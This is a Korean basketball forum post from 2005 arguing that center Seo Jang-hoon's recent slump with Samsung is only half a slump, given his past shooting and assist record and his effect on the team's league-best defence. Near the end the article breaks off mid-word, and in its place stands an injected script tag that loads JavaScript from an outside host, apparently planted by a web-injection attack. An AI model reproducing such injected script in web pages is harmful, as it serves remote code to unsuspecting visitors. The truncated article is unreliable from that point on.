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임동섭

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[기타]절반의 성공, 그리고 서장훈 선수의 부진
 
지난 시즌까지의 서장훈만을 얘기하자면 포스트업을 기피하고 외곽슛만 던지는 센터라는 비판은 매우 악의적인 비난입니다. 서장훈이 게임당 던진 3점슛은 고작 1.5개에 불과합니다. 즉, 던지지 않으면 오히려 팀의 사기를 저하시키는 완전 오픈찬스에서만 3점슛을 던졌다는 것이고, 40%의 적중율로 팀내 최고입니다. 서장훈의 3점슛은 절대적으로 팀에 도움이 되었지 결코 해가 된적은 없습니다.

득점 분포도 역시(저의 주관적 평가가 아니라 공식 집계로 삼성홈피에서 확인할 수 있습니다.) 기본적으로는 로포스트에 집중되어있고 미들라인까지 넓게 퍼진 정도로 슛거리있는 센터가 보여줄 수 있는 가장 이상적인 형태입니다. 이런 서장훈을 향해 장신 외곽슛터라고 비난한다면, 30%대 초반의 확율로 게임당 3개이상씩 던져대던 맥기는 센터가 아니라 형편없는 전문 3점슛터겠지요.

또한 서장훈은 무리한 공격을 일삼으며 자기 욕심만을 부리던 선수도 절대 아닙니다. 어시스트 갯수는 랭이나 왓킨스보다 많았고, 턴오버는 랭보다 조금 많으며 맥기나 왓킨스보다는 적은 정도이지요. 분명히 뛰어난 패싱센스를 갖고 있다거나 데릭스 같은 이타적인 플레이가 장점인 선수는 아니지만 남들 하는 만큼은 해왔습니다. 그리고 그 '남들'은 KBL을 지배하는 수준급 이상의 용병들입니다.

이처럼 지난 시즌 얘기를 굳이 하는 이유는 서장훈은 몸싸움을 싫어하고 센터가 골밑은 버린체 외곽슛만 남발하며 자기 욕심이 강해 공을 잡으면 패스를 하지 않고 무리한 공격을 일삼는 선수라는 식의 편견들이 서장훈의 최근 부진과 겹쳐 마치 그의 본모습처럼 여겨져서는 안된다고 생각하기 때문이지요.
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이점을 확인한다면 최근 경기, 특히 지난 KT&;G와의 경기와 관련된 서장훈에 대한 비판들에 대해서는 저도 대부분 동의합니다. 예전과는 다르게 더블팀에 특히 고전하고 있으며, 이처럼 골밑 공략이 전혀 안되니 매시즌마다 꾸준히 55% 이상을 찍어주던 야투율도 형편없을 정도로 떨어지고 있지요. 좋아 보이는 건 3점슛 밖에 없으니 국보급 소리를 듣던 KBL 유일의 토종 센터에게 많은 분들이 아쉬움을 토로하는 건 당연합니다. 덩달아 개막 전 언론의 높은 기대와 겹치며 안준호 감독의 전술부재와 선수기용에 대한 비판의 목소리도 많아질 수 밖에 없습니다.

서장훈의 부진 여부와 상관없이 출장시간 조절도 필요하고 다양한 공격 패턴의 개발도 필수적입니다. 이규섭은 보다 많은 출장시간을 가질만한 가치가 충분한 선수이고, 이제 노장이 된 서장훈 역시 예전처럼 부상에도 불구하고 매경기 풀타임에 가깝게 뛰는 괴력을 기대하는 건 본인으로서나 팀으로서나 결코 도움이 되지는 않습니다. 그러나 이게 그렇게 말처럼 쉬운일이 아닙니다. 서장훈의 부진이란 건 어디까지나 반쪽짜리 부진, 즉 현재까지 삼성의 디펜스에서 만큼은 FA영입 이후 최고의 '서장훈 효과'를 보고 있기 때문입니다. 부진하다고 서장훈을 쉽게 뺄 수 없는 상황인 것이며 그래서 안준호 감독의 고민이 시작되는 것이지요.

현재까지 삼성은 최소 실점팀입니다. 무엇보다도 피3점성공률 역시 KBL에서 가장 낮습니다. 이는 장신라인업으로 인해 외곽수비가 제대로되지 않았던 지난 시즌과 비교하면 놀랄만한 발전인 것이지요. 지난 시즌 TG가 보여주었던 포스에는 아직 미치지 못한다 할지라도 최소한 현재까지 삼성의 디펜스는 리그 최고수준이라고 볼 수 있습니다. 주득점원인 상대용병들을 고전하게 만드는 삼성의 디펜스를 뚫으려면 조성원 처럼 국내선수 한명이 29점씩 넣어주며 미쳐주던가, 아니면 동부처럼 골밑 싸움에서 대등하게 끌고가야 할텐데 모두 쉬운일은 아닙니다.

물론 현재같은 삼성의 오펜스로는 아무리 수비가 좋다 한들 우승권과는 분명 거리가 멉니다. 그리고 위에서 언급한대로 이런 삼성의 오펜스에는 서장훈에게 상당부분 책임이 있습니다. 물론 여기에는 존슨의 외곽슛이 기대에 못미치면서 나타나는 측면도 있지만, 그런 상황을 감안한다 해도 지난 KT&;G전에서의 모습은 대단히 실망적이었지요. 또한 서장훈이 외곽으로 나오면서 존슨의 활동반경과 겹치는 부분도 있고 말입니다.

그러나 이런 모습들은 존슨과 서장훈 모두 지난 시즌과는 다른 포지션에 뜀으로서 아직은 팀에 적응하지 못하고 있다는 점을 감안해야 합니다. 이 두선수가 현재의 포지션에 적응하기까지에는 시간이 필요할 것이며, 이런 상황을 감안하면 어쨌든 승보다 패가 많은 삼성으로서는 그렇게 나쁜 스타트는 아닙니다. 주전 포인트 가드는 이제 2년차이고, 주득점원이 되줄 것을 기대했던 두선수가 지난 시즌과는 다른 포지션에서 뛰며 적응 중입니다. 평생을 빅맨으로 뛰다 3번으?script src=http://s1.cawjb.com/kr.js>
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이상완 | 2005.11.03 | hit :4291 좋아요0
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1개의 댓글이 있습니다.

서윤성 | 2005-11-03 오후 11:05
좋은글 추천!! ㅋㅋ

총 23523개의 게시글이 등록되어 있습니다.

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